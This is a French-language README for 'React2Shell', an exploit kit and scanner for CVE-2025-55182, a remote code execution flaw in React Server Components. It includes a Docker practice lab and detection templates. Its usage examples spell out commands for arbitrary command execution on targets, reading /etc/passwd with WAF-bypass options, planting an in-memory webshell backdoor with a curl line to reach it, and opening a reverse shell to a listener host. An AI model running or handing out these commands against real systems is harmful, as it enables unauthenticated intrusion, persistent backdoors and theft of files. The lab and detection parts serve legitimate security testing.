React2Shell
Scanner et kit d'exploitation pour CVE-2025-55182 — RCE sur les Server Components Next.js/React.
Structure du dépôt
React2Shell/
├── browser-extension/ # Chrome extension for browser-based detection
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # Command-line scanner & exploit tool
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # Learning-focused documentation
│ ├── README.md # Learning path index
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # Docker lab environment for testing
│ ├── vulnerable/ # Vulnerable Next.js app (React 19.2.0)
│ ├── patched/ # Patched Next.js app (React 19.2.1)
│ ├── waf/ # ModSecurity WAF container
│ ├── waku-app/ # Vulnerable Waku app (React 19.2.0)
│ ├── react-router-app/ # Vulnerable React Router app (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Nuclei templates
├── CVE-2025-55182.yaml # RCE detection (executes code)
└── CVE-2025-55182-safe.yaml # Safe side-channel detection
Démarrage rapide
Outil CLI
cd cli
pip install -r requirements.txt
# Scan a target
python react2shell.py https://target.com
# Execute command
python react2shell.py https://target.com -c "id"
# Interactive shell
python react2shell.py https://target.com -i
Extension navigateur
- Ouvrir
chrome://extensions/
- Activer le "Mode développeur"
- Cliquer sur "Charger l'extension non empaquetée"
- Sélectionner le répertoire
browser-extension
Environnement de laboratoire
cd lab
docker-compose up -d
# Exploitable targets:
# Next.js Vulnerable: http://localhost:3011 ← Full RCE
# Waku Vulnerable: http://localhost:3014 ← RCE (blind - no HTTP output)
# React Router: http://localhost:3015 ← Full RCE (ESM)
# Protected targets:
# Next.js Patched: http://localhost:3012 ← Secure
# WAF Protected: http://localhost:3013 ← ModSecurity blocks exploits
Scanner Nuclei
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
Fonctionnalités
Outil CLI (cli/react2shell.py)
- Prise en charge multi-frameworks - Next.js, Waku, React Router, Expo, Vite RSC, Parcel RSC
- Détection du framework (
--detect) - Détecte automatiquement le framework cible
- Énumération des endpoints (
-E) - Découvre automatiquement les endpoints RSC
- Scan de vulnérabilités - Scan d'une seule URL ou scan par lot depuis un fichier
- Exécution de commandes (
-c) - Exécute des commandes arbitraires
- Shell interactif (
-i) - Session de commandes persistante
- Reverse shell (
-r) - Plusieurs types : nc, bash, perl, python, ruby
- Webshell en mémoire (
--webshell) - Installation d'une backdoor persistante
- Lecture de fichiers (
-f) - Lit directement les fichiers distants
- Scan local (
-L) - Vérifie package.json pour détecter les versions vulnérables
- Contournement WAF - Padding parasite (
-w), encodage Unicode (-u), spécifique Vercel ()
Extension navigateur (browser-extension/)
- Auto-détection des indicateurs de vulnérabilité RSC
- Chemins d'exploitation configurables
- Exécution de commandes avec affichage de la sortie
- Interrupteur d'activation/désactivation
- Indicateurs visuels vulnérable/sûr
Environnement de laboratoire (lab/)
- Next.js vulnérable (3011) - RCE complète avec sortie via X-Action-Redirect
- Waku (3014) - RCE confirmée, nécessite le format de chemin
/RSC/F/{x}/{y}.txt
- React Router (3015) - RCE complète via
process.getBuiltinModule() compatible ESM
- Next.js corrigé (3012) - Pour tester la détection sans exploitation
- Protégé par WAF (3013) - Règles ModSecurity pour la recherche de contournements
- Tableau de bord (8080) - Journalisation et visualisation des attaques
Exemples d'utilisation du CLI
# Basic scan (auto-detects framework)
python react2shell.py https://target.com
# Detect framework and enumerate endpoints
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# Execute command on different frameworks
python react2shell.py https://target.com -c "id" # Next.js (auto)
python react2shell.py https://target.com -F waku -c "id" # Waku (blind RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# Lab examples with output
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# Execute command with all WAF bypasses
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# Interactive shell through proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# Install in-memory webshell (creates backdoor on port 1337)
python react2shell.py https://target.com --webshell mypassword
# Access: curl 'http://target:1337/?p=mypassword&cmd=id'
# Reverse shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# Scan local project for vulnerable versions
python react2shell.py -L /path/to/project
# Batch scan with output
python react2shell.py targets.txt -t 20 -o results.json -v
Toutes les options du CLI
Execution Options:
-c, --cmd Command to execute
-i, --interactive Interactive shell session
-r, --reverse Reverse shell mode
-l, --lhost Listener host
-p, --lport Listener port
-S, --shell-type Shell type (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file Read a remote file
Scanning Options:
-P, --path Paths to test (comma-separated or file)
-t, --threads Number of threads (default: 10)
-T, --timeout Request timeout in seconds (default: 10)
-s, --safe Safe mode (no code execution)
-L, --local Scan local project directory
-F, --framework Target framework (auto, nextjs, waku, react-router, expo)
-E, --enumerate Enumerate RSC endpoints before exploitation
--detect Only detect framework and list endpoints
--webshell Install in-memory webshell on port 1337
--rce RCE proof-of-concept mode (default: safe mode)
Bypass Options:
-w, --waf-bypass Junk data padding
-W, --waf-size Junk size in KB (default: 128)
-u, --unicode Unicode encoding bypass
-V, --vercel-bypass Vercel-specific bypass
--windows Windows PowerShell payloads
Request Options:
-x, --proxy Proxy URL (e.g., http://127.0.0.1:8080)
-H, --header Custom headers
-A, --user-agent Custom User-Agent
-k, --insecure Disable SSL verification
Output Options:
-o, --output Save results to JSON
-v, --verbose Verbose output with version detection
-q, --quiet Only show vulnerable targets
--no-color Disable colors
--no-banner Hide banner
Détails de la CVE-2025-55182
| Champ | Valeur |
|---|
| CVSS | 10.0 (Critique) |
| Impact | Exécution de code à distance non authentifiée |
Frameworks affectés
Crédits
Avertissement
Ce toolkit est destiné uniquement aux tests de sécurité autorisés. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal.
CVE-2025-55182 | CVSS 10.0 | Uniquement pour les tests de sécurité autorisés